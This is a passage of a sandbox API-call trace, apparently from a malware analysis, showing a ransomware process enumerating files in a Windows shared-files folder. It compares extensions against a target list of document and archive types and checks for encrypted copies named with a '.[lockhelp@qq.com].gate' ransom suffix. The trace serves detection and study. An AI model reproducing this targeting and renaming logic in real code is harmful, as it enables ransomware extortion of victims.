lpString2=".dll") returned 1 [0321.775] lstrlenW (lpString=".rar") returned 4 [0321.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.775] lstrlenW (lpString=".bz2") returned 4 [0321.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.775] lstrlenW (lpString=".7z") returned 3 [0321.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.775] lstrlenW (lpString=".dbf") returned 4 [0321.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.775] lstrlenW (lpString=".1cd") returned 4 [0321.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.775] lstrlenW (lpString=".jpg") returned 4 [0321.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.776] lstrlenW (lpString=".doc") returned 4 [0321.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString=".docx") returned 5 [0321.776] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0321.776] lstrlenW (lpString=".pdf") returned 4 [0321.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString=".xls") returned 4 [0321.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString=".xlsx") returned 5 [0321.776] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0321.776] lstrlenW (lpString=".ppt") returned 4 [0321.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.776] lstrlenW (lpString=".zip") returned 4 [0321.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString=".rar") returned 4 [0321.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.776] lstrlenW (lpString=".bz2") returned 4 [0321.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.776] lstrlenW (lpString=".7z") returned 3 [0321.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.776] lstrlenW (lpString=".dbf") returned 4 [0321.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.776] lstrlenW (lpString=".1cd") returned 4 [0321.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0321.776] lstrlenW (lpString=".jpg") returned 4 [0321.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.777] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.777] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.777] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10752) returned 1 [0321.777] CloseHandle (hObject=0x358) returned 1 [0321.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0321.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.777] lstrlenW (lpString=".doc") returned 4 [0321.777] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.777] lstrlenW (lpString=".docx") returned 5 [0321.777] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.777] lstrlenW (lpString=".pdf") returned 4 [0321.777] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.777] lstrlenW (lpString=".xls") returned 4 [0321.777] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.778] lstrlenW (lpString=".xlsx") returned 5 [0321.778] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.778] lstrlenW (lpString=".ppt") returned 4 [0321.778] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.778] lstrlenW (lpString=".zip") returned 4 [0321.778] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.778] lstrlenW (lpString=".rar") returned 4 [0321.778] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.778] lstrlenW (lpString=".bz2") returned 4 [0321.778] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.778] lstrlenW (lpString=".7z") returned 3 [0321.778] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.778] lstrlenW (lpString=".dbf") returned 4 [0321.778] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.778] lstrlenW (lpString=".1cd") returned 4 [0321.778] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.778] lstrlenW (lpString=".jpg") returned 4 [0321.778] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.778] lstrlenW (lpString=".doc") returned 4 [0321.778] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.778] lstrlenW (lpString=".docx") returned 5 [0321.778] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.778] lstrlenW (lpString=".pdf") returned 4 [0321.778] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.778] lstrlenW (lpString=".xls") returned 4 [0321.778] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.778] lstrlenW (lpString=".xlsx") returned 5 [0321.779] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.779] lstrlenW (lpString=".ppt") returned 4 [0321.779] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.779] lstrlenW (lpString=".zip") returned 4 [0321.779] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.779] lstrlenW (lpString=".rar") returned 4 [0321.779] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.779] lstrlenW (lpString=".bz2") returned 4 [0321.779] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.779] lstrlenW (lpString=".7z") returned 3 [0321.779] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.779] lstrlenW (lpString=".dbf") returned 4 [0321.779] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.779] lstrlenW (lpString=".1cd") returned 4 [0321.779] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 72 [0321.779] lstrlenW (lpString=".jpg") returned 4 [0321.779] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.779] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.779] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.780] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10752) returned 1 [0321.780] CloseHandle (hObject=0x358) returned 1 [0321.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0321.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.780] lstrlenW (lpString=".doc") returned 4 [0321.780] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.780] lstrlenW (lpString=".docx") returned 5 [0321.780] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.780] lstrlenW (lpString=".pdf") returned 4 [0321.780] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.780] lstrlenW (lpString=".xls") returned 4 [0321.780] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.780] lstrlenW (lpString=".xlsx") returned 5 [0321.780] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.780] lstrlenW (lpString=".ppt") returned 4 [0321.780] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.780] lstrlenW (lpString=".zip") returned 4 [0321.781] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.781] lstrlenW (lpString=".rar") returned 4 [0321.781] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.781] lstrlenW (lpString=".bz2") returned 4 [0321.781] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.781] lstrlenW (lpString=".7z") returned 3 [0321.781] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.781] lstrlenW (lpString=".dbf") returned 4 [0321.781] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.781] lstrlenW (lpString=".1cd") returned 4 [0321.781] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.781] lstrlenW (lpString=".jpg") returned 4 [0321.781] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.781] lstrlenW (lpString=".doc") returned 4 [0321.781] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.781] lstrlenW (lpString=".docx") returned 5 [0321.781] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.781] lstrlenW (lpString=".pdf") returned 4 [0321.781] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.781] lstrlenW (lpString=".xls") returned 4 [0321.781] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.781] lstrlenW (lpString=".xlsx") returned 5 [0321.781] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.781] lstrlenW (lpString=".ppt") returned 4 [0321.782] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.782] lstrlenW (lpString=".zip") returned 4 [0321.782] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.782] lstrlenW (lpString=".rar") returned 4 [0321.782] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.782] lstrlenW (lpString=".bz2") returned 4 [0321.782] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.782] lstrlenW (lpString=".7z") returned 3 [0321.782] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.782] lstrlenW (lpString=".dbf") returned 4 [0321.782] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.782] lstrlenW (lpString=".1cd") returned 4 [0321.782] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0321.782] lstrlenW (lpString=".jpg") returned 4 [0321.782] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.782] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.782] lstrlenW (lpString="rtscom.dll") returned 10 [0321.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.786] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=177664) returned 1 [0321.786] CloseHandle (hObject=0x358) returned 1 [0321.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0321.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.786] lstrlenW (lpString=".doc") returned 4 [0321.786] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.786] lstrlenW (lpString=".docx") returned 5 [0321.786] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0321.786] lstrlenW (lpString=".pdf") returned 4 [0321.786] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.786] lstrlenW (lpString=".xls") returned 4 [0321.786] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.786] lstrlenW (lpString=".xlsx") returned 5 [0321.786] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0321.786] lstrlenW (lpString=".ppt") returned 4 [0321.786] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.787] lstrlenW (lpString=".zip") returned 4 [0321.787] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.787] lstrlenW (lpString=".rar") returned 4 [0321.787] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.787] lstrlenW (lpString=".bz2") returned 4 [0321.787] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.787] lstrlenW (lpString=".7z") returned 3 [0321.787] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.787] lstrlenW (lpString=".dbf") returned 4 [0321.787] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.787] lstrlenW (lpString=".1cd") returned 4 [0321.787] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.787] lstrlenW (lpString=".jpg") returned 4 [0321.787] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.787] lstrlenW (lpString=".doc") returned 4 [0321.787] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.787] lstrlenW (lpString=".docx") returned 5 [0321.787] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0321.787] lstrlenW (lpString=".pdf") returned 4 [0321.787] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.787] lstrlenW (lpString=".xls") returned 4 [0321.787] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.787] lstrlenW (lpString=".xlsx") returned 5 [0321.787] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0321.788] lstrlenW (lpString=".ppt") returned 4 [0321.788] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.788] lstrlenW (lpString=".zip") returned 4 [0321.788] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.788] lstrlenW (lpString=".rar") returned 4 [0321.788] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.788] lstrlenW (lpString=".bz2") returned 4 [0321.788] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.788] lstrlenW (lpString=".7z") returned 3 [0321.788] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.788] lstrlenW (lpString=".dbf") returned 4 [0321.788] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.788] lstrlenW (lpString=".1cd") returned 4 [0321.788] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 61 [0321.788] lstrlenW (lpString=".jpg") returned 4 [0321.788] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.788] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0321.788] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0321.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0321.789] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10240) returned 1 [0321.789] CloseHandle (hObject=0x358) returned 1 [0321.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0321.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.789] lstrlenW (lpString=".doc") returned 4 [0321.789] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.789] lstrlenW (lpString=".docx") returned 5 [0321.789] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.789] lstrlenW (lpString=".pdf") returned 4 [0321.789] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.789] lstrlenW (lpString=".xls") returned 4 [0321.789] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.789] lstrlenW (lpString=".xlsx") returned 5 [0321.789] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.790] lstrlenW (lpString=".ppt") returned 4 [0321.790] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.790] lstrlenW (lpString=".zip") returned 4 [0321.790] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.790] lstrlenW (lpString=".rar") returned 4 [0321.790] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.790] lstrlenW (lpString=".bz2") returned 4 [0321.790] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.790] lstrlenW (lpString=".7z") returned 3 [0321.790] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.790] lstrlenW (lpString=".dbf") returned 4 [0321.790] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.790] lstrlenW (lpString=".1cd") returned 4 [0321.790] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0321.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.790] lstrlenW (lpString=".jpg") returned 4 [0321.790] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0321.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.790] lstrlenW (lpString=".doc") returned 4 [0321.790] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0321.790] lstrlenW (lpString=".docx") returned 5 [0321.790] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0321.790] lstrlenW (lpString=".pdf") returned 4 [0321.790] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0321.790] lstrlenW (lpString=".xls") returned 4 [0321.791] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0321.791] lstrlenW (lpString=".xlsx") returned 5 [0321.791] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0321.791] lstrlenW (lpString=".ppt") returned 4 [0321.791] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0321.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.791] lstrlenW (lpString=".zip") returned 4 [0321.791] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0321.791] lstrlenW (lpString=".rar") returned 4 [0321.791] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0321.791] lstrlenW (lpString=".bz2") returned 4 [0321.791] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0321.791] lstrlenW (lpString=".7z") returned 3 [0321.791] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0321.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.791] lstrlenW (lpString=".dbf") returned 4 [0321.791] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0321.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0321.791] lstrlenW (lpString=".1cd") returned 4 